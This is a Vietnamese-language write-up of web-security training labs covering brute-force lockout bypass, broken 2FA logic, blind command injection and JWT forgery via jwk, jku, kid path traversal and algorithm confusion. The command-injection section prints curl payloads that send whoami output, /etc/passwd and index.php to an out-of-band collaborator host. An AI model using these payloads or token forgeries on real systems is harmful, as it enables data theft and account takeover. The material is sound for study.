# Authentication & Command Injection & JWT
## Broken brute-force protection, IP block

Nếu ta brute-force passwd như thường sẽ bị block


Tuy nhiên nếu ta brute-force xen kẽ với credentials đúng tức là:
```
wiener:peter
carlos:123456
wiener:peter
carlos:password
...
wiener:peter
carlos:moscow
```
thì được phép
Do vậy ta tạo 2 wordlists bằng python và sử dụng pitchfork attack


và không quên để max concurrent requests là 1 để xử lý tuần tự nhé

Như vậy ta có thể tìm được passwd của carlos và solve lab

## Lab: 2FA broken logic
Sau khi đăng nhập tại trang /login, hệ thống chuyển hướng chúng ta tới một trang mới /login2 để thực hiện xác thực mã code 2FA. Và hệ thống xác thực danh tính người dùng bằng cookie `verify=wiener`



Ta sửa lại cookie và tiến hành brute-force mfa-code vì nó giới hạn 4 chữ số


Sau 2 tiếng thử đi thử lại k nhận thấy status 302 nào :crying_cat_face: cuối cùng mới để ý trước đó phải GET `/login2` thì code mới trả về email.


Chọn `show response in browser` và copy vào burp browser


# Command Injection
## Blind OS command injection with out-of-band data exfiltration
Dựa vào đề bài ta biết bài blind cmdi này phải retrieve data ra bên ngoài, dựng sẵn `collaborator` của Burp rồi thử vài payload.
`curl -d "ahihi" -X POST dbsilxn76d2rlatire1b2xofl6ryfn.oastify.com`


Như vậy ta đã gửi được request từ máy đến server.
Muốn gửi data từ cmd ta sử dụng ```curl -d `whoami` -X POST dbsilxn76d2rlatire1b2xofl6ryfn.oastify.com```


Hoặc ta có thể gửi file content ra ngoài `curl -F "file=@/etc/passwd" -X POST dbsilxn76d2rlatire1b2xofl6ryfn.oastify.com`

Với lab này ta đơn giản chỉ sử dụng

và có được username

## Command injection - Filter bypass
Bài này bị filter và áp dụng CRLF với payload `google.com%0Acurl+-X+POST+-d+@index.php+dbsilxn76d2rlatire1b2xofl6ryfn.oastify.com`




# JWT
## Lab: JWT authentication bypass via jwk header injection
Trước tiên đăng nhập vào ta được cookie như trên

Cookie sử dụng thuật toán RS256, theo như tên lab ta sẽ đi inject `jwk` vào header.
A JSON Web Key (JWK) is a JSON data structure that represents a set of public keys.
Vậy thì nếu ta embedded JWK vào header thì server sẽ sử dụng nó như public key để verify cookie đã sign bằng private key của mình.
Để làm điều đó ta có thể sử dụng Extension `JWT Editor Key` và `JSON WEB TOKEN`
Đầu tiên là sinh RSA keys

Tiếp theo là sửa phần sub thành `administrator` và chọn `Embedded JWK`


Sử dụng cookie đó đăng nhập là ta có thể solve lab

## Lab: JWT authentication bypass via jku header injection
Lab này ta cũng inject ở header điểm khác biệt là thay vì sử dụng `jwk` thì ta sử dụng `jku`
jku nhận URL chứa Public key(giống external DTD)
Vì vậy nếu ta sửa đổi đường dẫn URL đến web server ta kiểm soát thì ta hoàn toàn có thể làm giả được cookie.
Copy Public key

Store trên server

Sửa header và payload


Và ta dùng cookie mới để solve lab

## Lab: JWT authentication bypass via kid header path traversal
Theo mô tả của đề bài ta sẽ sửa `kid header` để excute path traversal
`kid` (KEY ID) - Cung cấp ID mà máy chủ có thể sử dụng để xác định khóa chính xác trong trường hợp có nhiều khóa để chọn. Nó được sử dụng để khớp với một khóa cụ thể.
Vì cookie được ký bằng HS256

nên đầu tiên ta sẽ tạo Symetric Key

Param `k` là `AA==` là key = null byte để server có thể decrypt
Sửa tham số `kid` thành `../../../../../../../dev/null`

Khi decrypt jwt, nó sẽ đi tìm kid ở vị trí đó và check xem có file đó không, đó là lý do ta đổi thành file đó.
(Ở phần param `kid` này ta nên nghi ngờ nơi đây có thể dẫn tới SQLi hoặc CMDi.)
sau đó ta sign jwt là có thể solve lab

Điểm mấu chốt để thành công là `k` phải là null byte và `kid` phải trỏ về file có sẵn,thế nhưng mặc dù đã thử thay `kid` thành `../../../../../../etc/passwd` rồi nhưng không được.
## Lab: JWT authentication bypass via algorithm confusion
Ta có file json public key

Sau đó ta tạo public key bằng cách paste vô


Chuyển sang base64

Tạo symetric key với key base64 vừa chuyển



## Lab: JWT authentication bypass via algorithm confusion with no exposed key
Với lab này ta không có public key nữa vì vậy ta phải đi tìm public key. Bởi vì server chắc chắn khi ký sử dụng 1 private key, nên ta sẽ recover e, n từ ít nhất 1 cặp JWT

Lấy 2 trường hợp n số lẻ(mà th code script gà quá, k loại luôn đi) đi thử và được kết quả
